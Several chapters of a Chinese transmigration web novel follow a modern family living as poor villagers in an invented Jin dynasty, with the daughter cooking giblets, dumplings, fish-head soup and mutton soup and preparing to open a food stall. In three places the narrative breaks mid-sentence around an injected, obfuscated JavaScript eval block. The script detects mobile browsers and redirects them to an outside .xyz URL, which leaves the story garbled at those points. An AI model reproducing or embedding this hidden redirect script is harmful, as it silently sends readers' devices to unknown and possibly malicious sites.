冬季的白菜经过霜冻，口感脆甜，尤其是白菜梗，咬一口，水汪汪，甜津津。 林青叶爱吃清甜的白菜梗，林芫花偏爱白菜叶，吸收了猪油香的白菜叶子，水水的，无筋无渣，她可太爱了。 10. 酸萝卜鸡杂 外祖母忙完接生，提前被人用牛车送回陆家村。 在岳母的见证下，陆英夫妻俩掏出欠条，她们这次陆家村，一来为了探望陆老夫人，二来是为了这张欠条。 听说是将田产抵押给她们的欠条，兄嫂百般推辞，作为一家之主的岳母陆佩兰说话做事果敢，让兄嫂收下了。 有母亲拍板，陆贯仲和宋梅作为儿子儿媳，自是听母亲的。 让宋梅更意外的是，这张欠条，竟然是外甥女亲手写下，母亲看过，说是自己如鸡爪狗爬，好在没错别字。 家里除了母亲，只有丈夫陆贯仲认得几个大字，宋梅目不识丁，听了母亲的话，在看欠条上的字迹，越看越像鸡爪。 陆佩兰与陆英母女俩回屋说了会子话，时辰不早，一家四口吃过晚饭，往家赶。 回家的路上，林芫花再次问：“发生车祸时，你们真的什么都没听见？” 陆英好奇：“你听见什么了？” 林芫花没说话。 在原主记忆里，发现外祖母跟自己的外祖母长得不一样，等真正亲眼见到了才罢休，不然她都要怀疑外祖母是不是也穿越了？ 摸黑赶回王家村，到家时，天色黑沉沉。 姐弟俩去厨房烧热水洗澡，陆英与林书润将背篓里的蔬菜取出，锁到柜子里。 这些泡萝卜咸菜，还有大白菜，都是兄嫂给的，还有阿娘帮人接生，给了喜钱，还有一副猪下水。 猪下水处理复杂，挺费功夫，陆英要了块猪肝，别的没要。 累了一天，擦洗一遍，泡个热水脚，一家人挨着枕头，立马睡过去。 一觉睡得踏实，林芫花差点睡过头，被敲门声吵醒，哼哼唧唧在床榻里滚了一圈，摸着棉袄往身上套，磨磨蹭蹭。 棉袄一上身，冷得她面容扭曲：“寒冷的冬天，就应该窝在被子里睡大觉，玩手机。” 呜呜，她好想念温暖的空调房，想念加绒睡衣，想念手机。 不过林芫花相信熬过寒冬阴霾，解决掉生存困境，努力奋斗，以后一定能过上冬天窝被子里睡大觉的美好生活。 为了梦想的美好日子，她跟打了鸡血一样，快速穿好棉袄棉裤，推开西厢房门，老爸已经备好了洗漱的温水。 洗了把脸，有了精神头，吃过早饭，步行前往码头。 杨大力用背篓背来鱼杂，额外单独塞给她一包鸡杂。 打量杨大力欲言又止的模样，林芫花开口询问：“杨叔有什么事吗？” 杨大力搓了搓手：“是这样的，我有个侄女儿家专杀活鸡的，听说你厨艺不错，想跟着你学点本事，给你打杂什么都使得，听凭你使唤。因为年岁太小，外头的小饭馆不收，你看……” 林芫花听出了话音，可能不仅仅是来学，不过无所谓，本来打算做到年底，等过完年，自己想法子摆摊做点小买卖，当即点头：“就算杨叔不提，我也要跟你说的，我打算做到今年年底，让杨叔尽快找个人接替我，有妹妹要来，太好了，到时候我教会她，让她帮杨叔的忙。” 杨大力红着脸：“你要走啊，其实你不用走，我想着让你们两班倒，你做上午，我侄女儿做下午的生意，反正码头一天都有工人。” 林芫花和和气气：“是这样，我家情况杨叔也知道，给人做工，每月挣来的银钱仅够温饱，我想攒点钱，自己做点小买卖。” 杨大力看小姑娘很有志向，没继续挽留：“行，以后你买卖做的不好，还可以再来找叔，叔这里永远有你一口饭吃。” 意识到自己说的话不对，立即找补：“不是，叔不是咒你的意思。” 林芫花不在意说：“我知道的，先谢谢杨叔了。” 事情这么说定，做完今日的活计，她带着鸡杂回家。 步行回家，路上大日头晒得口干舌燥，林芫花把鸡杂放到清水里浸泡，到堂屋的茶壶里倒一杯凉白开。 冰水顺着喉咙流淌，胃里一阵透心凉。 王家村的村民为了省柴，一般不喝热水，只有家里来了客人，才会烧一碗热水。 她们一家四口没那么节俭，主要担心水里有寄生虫和细菌，为了省柴火钱，反而因小失大。 一般趁着做饭或是烧洗澡水，会多烧一锅开水，哪怕放凉了喝，起码卫生点，不生病，想要随时喝到温水热水，是一件非常奢侈的事情。 一杯凉白开下肚，冷得她打了个摆子。 时辰还早，去了村长家借阅书籍。 王有德来书房取物品时，看到自家孙女与林家闺女一同坐在向阳处看书，画面安静和谐。 孙女王依依是王家村里为数不多识字的人，在书本里开阔了眼界，很少有人能入她的眼。 听见王依依喊爷爷，林芫花也跟着唤了声村长爷爷。 王有德没打扰她们，拿到东西便离开。 快到午饭时间，她回家处理鸡杂，院子墙角边的小葱割了一茬，又冒出一茬，到厨房取来菜刀割一把。 鸡杂处理不好容易有腥味，如果调料齐全，加点花椒、泡椒、小米椒，炒出来酸辣开胃，香死了。 眼下条件简陋，只有葱姜和红酱，对了，还可以切点从舅舅舅母家拿来的泡酸萝卜，增添风味。 从陶罐里掏出半碗酸萝卜，拿刀从中劈开，在切一刀，当时老爸用竹篓背回家，真是废了老大劲。 鸡杂焯水后，口感容易老，不够脆嫩，林芫花喜欢生炒，给鸡杂浸泡清水，中途多换几次水，然后加草木灰搓洗，洗到清水干净没有杂质。 有条件的，可以用面粉或是食盐，这里的白面精细昂贵，比鸡杂价贵，如果拿来清洗鸡杂，要被人指着鼻梁骂败家。 处理好的鸡杂，用葱姜水腌制，起到去腥的目的。 热锅冷油，加入葱丝、红酱，爆出香气，然后添入泡酸萝卜翻炒，再是腌制好的鸡杂，大火爆炒，少许酱油增色，鸡胗变色后，撒上葱花，翻炒二三十秒，立即出锅。 陆英回家，看到饭桌上多了一碟鸡杂，嗅到空气里飘荡着萝卜发酵的酸香，本就饿了，被这股香气勾得分泌口水：“酸萝卜鸡杂，哪儿来的？” 林芫花端来两碗米饭：“杨叔给的，他有亲戚专门给人杀鸡，让我帮忙带一带他亲戚家的侄女，我跟杨叔说了，干到年底辞工，他也同意，正好找到接替我的人。” 陆英洗了把手，回到饭桌，一手端起饭碗，一手握住木筷夹来鸡杂，咬着脆嫩，表面吸附着泡萝卜的绵绵酸香，开胃又下饭：“很好吃，炒得火候正好，多一分容易老，不够脆。” 能在香料匮乏的情况下，烹饪出这么美味的鸡杂，十分难得了。 酸萝卜块刺激口腔分泌唾液，激发食欲，这一碟子酸萝卜鸡杂简直是下饭神器，母女俩就着菜，多吃了半碗米饭。 翌日一早，杨叔领来个十来岁出头的小姑娘，让她帮忙带一带。 小姑娘叫杨春杏，木讷地唤了她一声林姐姐。 林芫花观察对方的身量，比她还矮半个头，难怪外面的小饭馆不要，年岁小，没眼力劲儿，看着不会来事，干不来重活，招到铺子里多一张嘴吃饭，掌柜可不是大善人。 幸好小姑娘手脚勤快，她指着让干嘛干嘛，一点不废话，不会说话，但勤快老实，相处久了，看着讨喜。 有杨春杏的帮忙，清理鱼杂，清洗碗筷轻松多了。 一个上午过去，等杨大力返回码头时，看到两个小姑娘打破了生疏，凑在一起说着话，像雨后冒出的两朵小蘑菇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458073|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，挨着脑袋。 他瞧着高兴，清点了今日的营收，目送林芫花离去，跟外甥女提点可以闲时找林姐姐玩耍。 林芫花会算账，听说还会千字文，能认字写字，俗话说近朱者赤，近墨者黑，跟优秀的人多多亲近，对自己只有好处没有坏处。 杨春杏点点头：“知道了大伯，明天我问问林姐姐能不能跟她一起玩。” 杨大力叹气，拿老实的侄女一点办法也无。 进入冬月后，很快迎来一场冷空气南下。 一早起床，听到纸窗传来沙沙声。 推开破旧窗子，院子落着纷纷细雨。 吃过早饭，家里仅剩的一件蓑衣被林芫花穿走，陆英问隔壁邻居宋家嫂子借来油纸伞，母女俩佛爷外出上工，林书润和林青叶这对爷俩则留守在家中。 外面下着雨，码头没什么活，干脆留在家里歇一日。 这一歇，歇了四五日。 外头狂风怒吼，阴雨绵绵，家里屋顶的瓦片松动，屋子漏水，家里的锅碗瓢盆，齐齐派上用场。 到了夜晚，黑夜与碗里滴答滴答的落水声，伴着林芫花入睡。 到了清早，碗里接的雨水倒掉，放回原位。 她轻轻叹气。 她和弟弟出生时，那会儿妈妈陆英已经下海经商了，家里条件渐渐好起来，从小到大没吃什么苦，现在住漏雨的屋子，大概就是她过的最苦的日子了。 短暂的颓丧，很快又重新打起精神。 心怀理想的人，追逐在实现梦想的道路上，没时间精神内耗。 林芫花不会想如果没有车祸，如果没有穿越，如果没有…… 已经成为了既定事实，那么接受现实，努力过好眼前的每一天，焦虑与内耗，对她的处境没有半点改善，不如留意生活中的美好事物。 林芫花出门时，林书润带着林青叶趁着雨势转小，问村长家借来木梯，爬到房顶修缮。 院子里的篱笆院，前前后后被大风刮倒过数次，今早又坏了，还得修补一番。 爷俩在家也没闲着，修缮好房屋，到自家田地走一遭。 半月前才拔过麦田的杂草，一场冬雨的滋养，野草从地里冒了出来。 花费一两日功夫，清理完麦田的野草，有麦苗遮挡住寒风，蒲公英与荠菜在麦田里长得嫩绿，择去老叶，就是一盘美味野菜。 正儿八经的野荠菜，在现代不多见，可以包猪肉荠菜水饺，或是鲜肉荠菜包，想一想就流口水。 林书润扫视自家贫瘠的麦田，瘦弱的麦苗，趁着空闲在家，得想法子搞点肥料。 按照古代生产条件，一般麦田亩产一百五十至两百五十斤，有些高产的，能达到三百斤，这是比较罕见的。 照他家麦田的情况，来年麦田亩产顶多不超过百斤，刨去缴纳税收，基本不剩什么了。 第一次来这块麦田，林书润与妻子畅想着来年磨麦子吃的美梦呢！ 回到家，林书润在发愁一连落了四五日的雨，没法去码头上工。 林芫花也在发愁。 天寒地冻，她没法洗头发，洗了头发，一时半会儿干不了，风寒入体，容易感冒。 她已经四天没洗头，头发油腻腻，学着原主拿篦子梳理发丝的灰尘和油脂，编个侧马尾，到箱子里翻找出一块头巾布，包在头上。 出了西厢，被林青叶嘲笑：“哈哈哈，林芫花，你看看你，跟个小村姑一样。” 林芫花反讥：“你个小村男。” “啊，疼疼疼，林芫花，别拧我耳朵！”林青叶吱哇大叫，活像被拧掉了耳朵，向一旁求救：“老爸，她欺负我。” “活该。”林书润路过，对姐弟俩的打闹见惯不怪。 11. 猪肉韭菜饺 “林姐姐，你这样打扮起来真好看。” 一早到码头上工，面对杨春杏的夸赞，林芫花没好意思说自己头发油，所以翻找出一块与棉袄同色的水红布包了头。 大块鱼籽仔细些，别弄散，过水清洗几遍即可，鱼泡数量少，比较费事，好在现在多了个帮厨，两人很快处理干净。 杨春杏不擅烹饪，会帮着家里煮点稀饭面条，或是帮忙烧火。 林芫花让小姑娘先在锅炉前帮忙烧火，了解火候，几日熟悉下来，杨春杏循序渐进的学会了许多东西。 今日教小姑娘给鱼杂焯水，香煎鱼杂，然后炒出酱料的色泽与香气…… 杨春杏舀鱼杂羹，林芫花负责吆喝，收铜板，两人分工明确，受寒潮影响，码头搬货的生意少了许多，工人数量锐减，小摊的生意差了许多。 林芫花上工时间是上午，剩下的鱼杂羹，由杨春杏和杨大力继续售卖，勉勉强强能卖完。 除了搬运工，撑船的船夫，或是货船船手、管家，偶尔也回来小摊光临，买上一碗鱼杂羹尝尝。 “几天不见，小厨娘也带了个小小厨娘。”严老三打趣说。 林芫花嘴巴甜，遇到年岁稍大的喊叔，年轻些的喊哥哥：“严叔，好久没来我家了，今天要来一碗鱼杂羹吗？” 小姑娘甜甜的嗓音，笑得跟朵迎春花似的，严老三本想到隔壁要碗猪下水汤，被小姑娘喊了声严叔，临时改了主意：“那就要一碗，给，三个铜板。” 收了铜板，林芫花扭头说：“春杏，给严叔要一碗鱼杂羹。” 杨春杏干巴巴：“您稍等，马上。” 杨春杏真的太羡慕林姐姐了，性格好，大方明媚，遇到老熟客都能跟人聊上几句，她就不行。 遇到陌生人，她跟锯了嘴的葫芦一样，又怕不小心说错话，得罪人，看到林姐姐应对自如，打从心眼里羡慕极了。 大伯说得对，她应该多跟林姐姐来往，学习林姐姐的为人处世。 缠绵了数日的阴雨，在今日终于停歇。 清晨，码头汇聚了大量工人，各个小吃摊上生意火爆，这厢林芫花和杨春杏忙得不可开交。 另一边，林书润父子俩在家里清闲好几日，每日往外掏钱，没有进项，眼看马上要进入年底，在家呆一天最少损失两百文收入，心里头没底，在家闲不住，给麦田浇了农家肥，又在院子后堆肥，为来年麦苗抽穗灌浆积累肥料。 终于盼到雨停，父子俩摩拳擦掌，渴望多多挣银钱…… 这头小吃摊顾客盈门，提前卖完鱼杂羹，林芫花和杨春杏准备告别，对方主动开口：“林姐姐，午饭后，我可以去王家村找你玩耍吗？” 下午林芫花无事，点头：“可以啊。” 在私塾听了一堂课，下课后，王茂从贴身兜里摸出一把铜板，臭显摆：“阿娘给了我铜钱，今日不回家吃饭了，你自己回王家村吧！” 林芫花瞧见王茂走到一家卖水饺的小摊，要了碗猪肉荠菜水饺。 话说回来，她家穿来这么久都没吃过面食。 突然有点馋水饺了。 私塾外，有好几家摆小吃摊的摊贩，多是附近村落求学的孩童们来光顾，有的离家较远，中午便不回家，在小摊要碗水饺，或是包子肉饼。 在大多数人吃不饱饭的朝代，但凡能送孩子求学的人家，多少有点家底，舍得对孩子投资。 林芫花想自己摆小吃摊，第一选择是私塾。 去城里市集摆摊，需要缴纳一定税收，还要缴纳摊位费，她太穷了，私塾外并非严格管理的市集，不需要缴纳费用，人流量也少，如果能在私塾外立足，等攒到银钱，可以考虑搬到更正规的市集。 今日仍是阴云笼罩，河水表面凝结一层薄冰。 林芫花实在受不了油头，感觉油到能炒盘菜，放纵自己洗了个头，借着炒菜的功夫，在灶台前烤火。 午后，杨春杏来王家村找她，一路上问了几户人家，找到林家，正好撞见陆英，按照爹娘交代的话，一板一眼：“婶婶，这是我阿娘带来家里种的柿子，不值什么钱，一点心意。” “客气了，这年头大家日子都不好过，下次来家里就好，不要带东西了。”陆英笑着接过，让女儿好好招待朋友，她赶着去成衣铺子上工。 一踏进林家小院，杨春杏发现林姐姐家里看着破旧，收拾得干净整洁，她被泥巴地上的字迹吸引：“林姐姐，这是什么字？” 林芫花顺着杨春杏的目光，落到一行字上：“这个字念喻，出自《出师表》里，引喻失義，以塞忠谏之路也。” 杨春杏听不懂，觉得林姐姐真厉害，星星眼地看来。 林芫花跟她说一声，回房打理晾干的长发，留杨春杏呆在院子，捡起脚边的木棍，葫芦画瓢的跟着临摹。 等林芫花编好侧马尾出西厢时，杨春杏已经临摹了好几个喻字，有点不好意思：“林姐姐，我可以跟着你学认字吗？” 林芫花喜欢上进的女孩子，当即点头：“好啊。” 杨春杏又道：“那我明天还给你带鸡杂。” 上回炒了酸萝卜鸡杂，新鲜美味，贼下饭，一家人都爱吃，林芫花没拒绝：“好啊，先谢谢你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458074|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 杨春杏：“是我要谢谢林姐姐，我嘴笨，不会说话，还好姐姐不嫌弃。” 进入大雪后，迎来冬至。 这晚饭桌上，一家人一致举手想吃猪肉水饺。 傍晚，林书润父子提前回家，特意到猪肉摊买来一块前腿肉。 两分肥，八分瘦的前腿肉，剁成猪肉馅，添了碧绿韭菜，酱油，食盐，小许葱花，调好馅料，老爸林书润也擀好饺子皮，一家人围在灶台前包饺子。 林书润与林芫花包的飞快，严实不漏缝，陆英与林青叶包的饺子造型奇特，丑得各有形态。 锅中清水煮至沸腾，抓来一只只饺子放进锅里，小半碗清水倒在沸腾的清水，可以防止饺子皮煮破。 待一颗颗白白胖胖的饺子浮出水面，这是饺子熟了的讯号。 往面汤放一小撮盐巴调味，捞出饺子，盛来面汤，便大功告成。 林青叶来来回回端饺子，等所有人坐下，迫不及待抓起筷子，往嘴里塞来一颗水饺，烫得龇牙咧嘴：“烫烫烫，哇，好鲜，好多肉汤汁。” “心急吃不了热豆腐，猴急什么。”林书润嘴上念叨心急的儿子，眼睛一错不错盯着面前的水饺。 陆英夹起一只水饺，吹走热气：“咱家好久没吃过水饺，话说回来，这一斤白面真是贵，比米粮贵了一半。” 轻轻咬开薄薄的饺子皮，立时淌出的油汤汁，鲜得她眉尾一扬，嘬完汤汁，吃掉饺子的精华肉馅，在肥肉油脂的滋润下，猪肉馅丰腴不柴，爽滑的饺子皮，咀嚼时能吃到属于面粉的麦子香：“果然贵有贵的道理，应该是刚磨出来的面粉，很新鲜，麦子香很浓。” 林书润尝了一只，肉馅油香四溢，端起碗，浅啜一口面汤，面粉富含蛋白质，融入清水，能给味蕾带来鲜味，一点点盐巴，这碗饺子面汤就很鲜了。 尽管饺子汤热量高，架不住它美味啊，浓浓的麦子香，林书润在码头干体力活，这点热量，不值一提。 他咬开饺子皮，咸鲜的肉汤汁唤醒了味蕾，女儿林芫花喜欢将肉馅剁得粗粝些，吃起来肉感足，韭菜碎为猪肉去腥增香，猪肉的油脂同时给韭菜带来油润口感，相互作用下，为彼此增添风味。 林芫花嘴巴里包着猪肉韭菜饺，心头无比满足。 韭菜和猪肉实在太配了！ 前几日看到王茂买水饺吃，给她看得眼馋，终于吃到心心念念的水饺。 自家地里长的韭菜和小葱，买来的土猪肉，食材新鲜，现擀现包的水饺，果然嘎嘎美味。 下次或许可以试试韭菜鸡蛋，或是虾仁水饺？ 12. 羊汤 冬至不久，进入腊月。 家家户户人家开始腌制腊鱼腊肉，通过腌制、风干等手段，使得肉类得以保存。 腌腊鱼腊肉需要用到食盐，可不便宜，在现代一斤食盐几元钱一包，物美价廉，她们穿越的晋朝提炼精盐的技术有了飞跃提升，价格较前朝便宜，层层缴纳税收的官盐，平常一斤售价达两百六十余文，进入腊月后，食盐价格受市场上涨波动，正规渠道能卖到两百八十文。 林江城毗邻湖泊，鱼虾等河鲜低廉平常，即便到了年关，较平时贵上三四文，买鲜鱼腌制的百姓络绎不绝。 晋朝一斤，等于现代的六百二十克。 林家也跟上腌制腊货的风潮，这日林书润与林青叶天不亮到市集采买，来到码头晚了些…… 路过码头小摊，父亲与弟弟顺嘴跟林芫花打了声招呼，等他们傍晚回家了一块儿收拾鲜鱼鲜肉，毕竟小十几斤鱼肉，怪沉的。 杨春杏见到林书润与林青叶，小姑娘哪里瞧见过他这样好看的小少年，红着脸，磕磕绊绊喊了声：“林叔，林家哥哥好。” 林书润点点头。 林青叶呲着大牙乐：“你好啊，你就是阿姐说的春杏妹妹吧，名字很好听。” 被夸了名字好听，杨春杏的脸，登时跟只红彤彤的苹果一样。 送走了两人，林芫花瞅了瞅杨春杏。 给杨春杏看得手脚无措：“林姐姐，你干嘛这么看我？” “没什么。”原主一家人与她们一家有六七分相似，林芫花和弟弟都遗传了父亲林书润的美貌，也难怪杨春杏看得红了脸。 平时她和小姑娘在码头面对的都是干体力活的糙汉，冷不丁的，见到个同龄清隽少年，害羞了点，是一件平常的小事。 毕竟杨春杏没见过林青叶平时贱嗖嗖的模样，理所当然地被林青叶的外貌迷惑。 中午雷打不动到私塾听课，吃过午饭，送走妈妈陆英，林芫花开始收拾活鱼鲜肉，哪儿能真等到父亲和弟弟回家做这些，他们俩在码头干体力活，一天下来够累了，她挺心疼他们。 养在木桶里三条三四斤重的草鱼，敲晕了，去鳞破肚，掏出的鱼杂，与鲜鱼头一同丢到容器里，给鲜鱼清洗掉血污，抹上盐巴腌制，放到木盆。 碍于家里条件局限，香料便宜的情况下，可以用花椒、八角、香叶、肉桂和食盐一起炒香，腌制出的腊肉腊鱼风味更佳。 三块三肥七瘦的前腿肉，简单清洗，抹上盐巴，垒在鲜鱼的木盆，上头倒扣一只木盆，锁到厨房的柜子里，腌制个把星期，就可以拿出来风干晾晒，形成腊月里独有的一道风味美食。 一通忙活，把腌制的鱼肉锁好，直起腰来，林芫花只觉眼前阵阵发黑，好一会才缓过劲头来。 傍晚陆英下工回家，看到厨房里三只鲜鱼头，想起了若干道美食—— 烟火与热气交错间，咕嘟咕嘟的鱼唇火锅，鱼嘴巴柔软鲜嫩，口感软糯，满满的胶原蛋白，加入多多的小米椒，煮得红红火火，麻麻辣辣。 又或是鲜红热辣的剁椒鱼头，利用水蒸气熏蒸，使得鱼肉水嫩嫩，入口即化。加之剁椒和泡椒的风味浸入，一鱼两吃，水嫩之中，多了火烧火燎的灼烧辣痛感，辛辣与鲜香，色香味俱全。 没有辣椒的话，还可以做美味的鱼头泡饭，亦或者熬得如稠白牛奶的鱼头豆腐…… 正想到鱼头豆腐，听到外头传来西施豆腐的叫卖声，喊着大豆腐嘞。 陆英给女儿拿了铜板，让去买两块嫩豆腐来。 林芫花拿着铜板，屁颠屁颠出了院子，大老远的，听见隔壁邻居宋氏同豆腐西施打趣：“瞧你家翠翠开年就十四五岁了，到了快嫁人年纪，怎么不让她跟着你学打豆腐？好歹有个一技之长，以后嫁到夫家，靠着打豆腐的手艺，日子不会差。” 豆腐西施姓郑，自从丈夫意外亡故后，带着一对公婆与女儿生活，靠着打豆腐营生，养活了一家人，沉甸甸的扁担压在郑氏削薄的肩，黄昏的光线映在她坚韧眉目，说出的话直白朴素：“起早贪黑打豆腐，太辛苦，我想让翠翠学点别的营生。” 说话间，余光扫到有人靠近，瞧见林芫花，叫郑氏想起了近来听王家村的人谈论林家，说的最多的就是林家的花儿。 这孩子聪明，能认得千字文，能拿毛笔写欠条，对于王家村的睁眼瞎来说，能识字认字的娃儿，有文化，是顶顶厉害的人。 “婶子，我要两块嫩豆腐。” 林芫花的话，将郑氏拉回了现实：“诶，这就给你拿。” 郑氏递来两块嫩豆腐，没收铜板：“婶子送你的，不收钱。” “谢谢婶子了，心意我收下。婶子做买卖不容易，还是拿着吧。”递去了铜板，林芫花拿着两块嫩豆腐跑回家。 留郑氏站在原地。 不知是不是识字后的文化光环，郑氏觉得小姑娘跟以前的做派完全不一样，说不上来哪里不一样，大概是说话做事跟村子里没读过书的孩子畏手畏脚不一样。 她家翠翠要是也能像林家的花儿认字就好了。 林家小院这厢，天色渐渐灰暗，林书润与林青叶父子带着一身疲惫返回家中。 锅里煮好了柴火饭，炒了从地里采摘的葵菜，接过老爸路上顺手买来的一块猪前腿肉，清洗，切片…… 日头落下山，几片单独切出来的肥猪肉下了锅，在攀升的炙热温度下，滋滋冒油。 熬出的猪油，贴上鱼头，煎得两面金黄，可以起到去腥的妙用，添上烧热的开水，这样煮出来的鱼汤尤为鲜甜。 捧上一碗煮得浓稠奶白的鱼头豆腐汤，吹吹热气，浅啜一口，舌尖泛起咸香鲜美，父子俩顿觉一扫疲乏。 猪油与鱼头的热烈碰撞，油脂与蛋白质的结合，给予食客味蕾上的惊艳。 鱼头中和了猪油脂肪的腻味，猪油激发了鱼头的独特鲜味，佐上水汪汪的嫩豆腐，鲜汤中多了一丝丝属于豆子的清甜。 嫩豆腐煮得时间长了，内里密布细小孔洞，咬开一角，吸饱了鱼汤汁，十分入味。 可惜鱼汤里的嫩豆腐数量太少，每人只能分到几块，根本吃不够。 鱼头豆腐汤里，林芫花只放了一块嫩豆腐，另一块被她拿来与前腿肉会面，碰撞出一道肉沫豆腐。 以红酱炒得浓油赤酱的肉沫，搭配水灵灵的豆腐块，锅铲轻轻搅拌，使得每一块嫩豆腐均匀裹上肉酱汁儿，拿木勺子挖来一勺，拌着米饭吃，不比鱼头豆腐逊色。 林书润与林青叶在码头干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462974|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活，身体亏空，得多吃点油水足的补补身体，没有什么比富含蛋白质的豆腐，与富含钙的肉沫更有营养了。 …… 过去七八日，每每林芫花从码头收工，回家准备午饭，才会从柜子里取出腊肉腊鱼，放到廊下风干。 腌制腊鱼腊肉耗费许多盐巴，成本不便宜，虽说王家村村风淳朴，白日不在家，担心有野猫偷食，只能尽量在家时晾晒。 每日午后取出腊鱼腊肉，傍晚时分收回厨房，窗间过马，过完腊八，便是年。 林芫花跟杨春杏交接完，正式辞掉了厨娘工作，计划过年走完亲戚，到私塾摆个小吃摊。 冬天的风，割在人的脸上似刀子，吹得脸颊干燥起皮，泛着红。 拿到工钱的陆英，从铺子买来一小罐面脂，分装出一半拿给女儿。 辞了工，林芫花破天荒睡了个懒觉，一觉睡到大天亮。 临近午时，她起床到院子洗漱，披着长发回到西厢，拿篦子梳理发丝，编成侧马尾。 房门在这时候被人敲响，听到应答后，林青叶推开虚掩的房门，目光一扫，目的明确地靠近。 他拿起矮桌上的面脂罐，挖了一大块，以手掌抹开，均匀涂在脸颊、手背，给林芫花看得火冒三丈：“败家，一小块就可以了。” 林青叶哼唧：“小气。” 又说：“老爸煮了稀饭，先填一填肚子，今年的年夜饭可能要晚点吃了。” 林芫花在厨房喝了半碗稀饭，配着咸菜，对付了一顿，然后撸起袖子，给老爸打下手。 今天过年，前一天林书润与陆英特意早早赶到市集采买，鱼虾鲜肉鲜鸡蛋，晋国人最爱食羊肉，冬日里炖上一锅羊汤，滋补养生又美味。 木盆里，浸泡着一块肥美的羊腩，浸出了血水，不需要焯水，切成小块，两片生姜，几粒花椒，以清水没过食材，大火煮开，撇去浮沫，转小火，雾气氤氲间，羊汤的香气喷薄而出，并不霸道，带着温润细雨的醇厚，一点一点往人的鼻子钻，诱得人口水哒哒。 小河虾经过热油一煸，几个吐息间，青色虾壳跟变了戏法似的红彤彤，虾尾如银钩蜷缩，少许食盐和酱油，临出锅前，撒上一把韭菜段，翻炒几下，属于韭菜独特的清香，扑鼻而来，碧色的韭菜与绯红的小河虾，红绿分明，卖相极佳。 立即盛出韭菜小河虾，韭菜段炒个十几秒，口感脆嫩，炒得久了，水分被炙热的铁锅蒸发掉，口感容易老，易塞牙。 忙到傍晚，一家人终于开始吃年夜饭。 说是年夜饭，其实林家老家的习俗，一般是正午吃年饭，打从记事起，看到电视里春晚大晚上吃年夜饭，一度好奇不已。 今晚天气不算暖和，咕嘟咕嘟的羊汤，热气蒸腾。 一家人围在饭桌，捧着羊汤干杯。 纵然身处贫困逆境，一家人积极乐观，共同面对困难，面对陌生的晋国，似乎没那么恐慌了。 嘭地一声，远处高空炸开绚丽的烟火。 “看，是烟花。”林青叶指着一处，说。 另三人顺着他的目光望去，一束束烟火照亮了黑暗的夜。 望着璀璨烟花，林芫花想，她们一家人，终于在这个世界有了一方立足之地。 13. 渔粉 吃过年夜饭，熬好浆糊，给院门换上新桃符。 噼里啪啦，新年伊始，整个王家村接二连三响起了炮仗声。 对封建迷信的百姓来说，燃放炮仗有驱赶年兽之说，驱灾避邪，祈求来年平安的美好祝愿。 空气中充斥着火药味，硫磺能在物理上杀死病菌，消除瘟疫疟疾，有消毒的作用，从某种层度上来说，燃放鞭炮有一定益处。 晋国有守岁的习俗，放完炮仗，一大家子围炉烤火，说说话，吃吃喝喝，油灯一夜燃至天明。 姐弟俩围着火堆嗑瓜子，温度适宜，周身暖洋洋，坚持到后半夜，眼皮子跟黏了胶水一样，靠在小板凳，睡得东倒西歪。 天蒙蒙亮，睡得迷迷糊糊间，被老妈轻拍着唤醒，让她们各自回房补觉。 回到西厢，一挨到枕头床榻，她舒服得哼唧了声，用稻草铺就，平时嫌不够柔软的冰凉床榻，俨然成了困觉者心心念念的归所。 拉过被子盖上，她呼呼大睡过去。 眯了会眼，再次醒来时，已过正午，林书润将昨晚没吃完的剩饭剩菜热一热，又能吃上好几顿。 大年初二，去陆家村走亲戚。 去年年底送欠条到舅舅舅母家时，两家人提前约定好日子。 看到林家带来的礼，一包盐一包茶，还有一条活蹦乱跳的大草鱼，整个陆家村都知道陆管仲这个妹夫总算是洗心革面，一改游手好闲的作派，有人看笑话，兄嫂却是替陆英高兴，总算守得云开见月明。 在兄嫂家吃过晚饭，出了门，遇到陆家村的村人，对方憋着坏：“林老弟，我家里有骰子，要不上我家耍两把？” 林书润从原主记忆里翻找到这人，唤陆小二，跟原主一样常年不务正业，家里盖了好几间瓦房，几亩田产，给自己挣下不少家财，靠着赌博出老千，哄骗许多干体力活的血汗钱。 不过这些赌徒一点不值得同情，自制力差，自己管不住手脚上了赌桌，挣下的辛苦钱白白送给人家，怪得了谁？ 他对陆小二无甚好感，当即冷下眉眼：“不了，我戒赌。” 那人讨了个没趣，没皮没脸走开，心道这人一旦体会到赌桌上来钱快的感受，哪里还能戒得了。 看他能忍多久？ 听说林书润父子俩都在码头干体力活，刨去吃喝，少说一天能有两百文落到口袋里，一个月下来，可是一笔不小的数目呢！ 陆小二知道肯定有人盯上林书润的这笔银钱，巧了不是，他也盯上了。 